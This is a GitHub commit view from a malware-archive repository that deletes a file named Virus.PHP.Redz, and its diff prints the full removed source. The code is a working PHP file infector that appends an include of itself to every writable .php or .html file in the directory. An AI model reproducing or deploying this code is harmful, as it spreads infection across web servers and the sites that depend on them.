Delete Virus.PHP.Redz

This commit is contained in:
vxunderground 2020-11-02 23:56:13 -06:00 committed by GitHub
parent a1ad5a47d2
commit 670d0eb11a
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -1,31 +0,0 @@
<?php
$handle=opendir('.');
while ($file = readdir($handle))
{ $inf_=true;
$ext_=false;
if ( ($ext_ = strstr ($file, '.php')) || ($ext_ = strstr ($file, '.htm')) || ($ext_ = strstr ($file, '.html')) )
if ( is_file($file) && is_writeable($file) )
{
$host = fopen($file, "r");
$contents = fread ($host, filesize ($file));
$sig = strstr ($contents, 'redz.php');
if(!$sig) $inf_=false;
}
if (($inf_==false))
{
$host = fopen($file, "a");
fputs($host,"<?php ");
fputs($host,"include(\"");
fputs($host,__FILE__);
fputs($host,"\"); ");
fputs($host,"?>");
fclose($host);
return;
}
}
closedir($handle);
?>